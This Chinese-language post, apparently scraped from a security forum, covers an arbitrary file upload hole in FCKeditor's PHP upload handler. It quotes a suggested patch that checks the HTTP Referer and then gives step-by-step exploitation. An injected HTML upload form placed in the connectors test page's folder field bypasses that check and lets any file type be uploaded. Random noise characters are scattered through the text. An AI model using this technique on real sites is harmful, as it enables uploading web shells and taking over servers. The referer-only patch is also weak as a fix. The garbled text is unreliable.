漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php3 T( D( f+ T5 x, F6 g% z/ f
网上给出的修复方案是
8 |, N; c: P+ T修复方法,删除FCK编辑器用其他的编辑器
. N/ ?9 z) ~: H/ M! a3 c2 @或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件
9 J% m% c: W L; ]" ~( w在
$ X; c4 H2 G0 a3 U: G* {3 Drequire(‘config.php’);: x1 A- F; ~3 g, p' O( [
require(‘util.php’);
6 `9 K: J8 P8 t8 D+ n的下面添加以下代码—————————–
0 j- R7 {& B9 x. s//防止外部提交
]# H2 t, I3 n, t4 [function outsidepost()
4 W0 O" L/ v" e) h$ u% E$ ^# x% x+ J9 Z! j{
" a- V# [8 _# @3 z9 z$servername=$_SERVER['SERVER_NAME'];; l7 E1 p! g$ B3 V! |7 o2 U9 `
$sub_from=@$_SERVER['HTTP_REFERER'];
+ p" E& p+ z8 H+ |! H4 |3 l/ q' W3 G$sub_len=strlen($servername);
R m% q- v1 t$ n% A$checkfrom=substr($sub_from,7,$sub_len);
* i* a ^/ p2 m3 Z2 [0 d* uif($checkfrom!=$servername){( O+ y1 Z9 M; v$ T
echo(“you don’t outsidepost!”);
5 ^ r# V3 F* c# G! ~exit;- c/ O# ?; n( I' S& E# u: R& i
}( P- C3 N$ J: ?6 \) b. H( m
}
8 b* ^* q8 y; H, doutsidepost();
. y. t5 ^2 c0 s% z防止外部提交,但是没有防止内部提交,
2 [6 Z" O* | s# ]* `利用方法:
9 R: Z% P7 M. o6 @3 W1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
- w5 E- O2 O* i `/ |2,在Current Folder 框输入( x8 c; v8 A4 s
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>
|" c: f9 B* D% f C( T然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。
2 I4 {7 l6 U5 x! b0 T4 i1 X/ nPS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。 |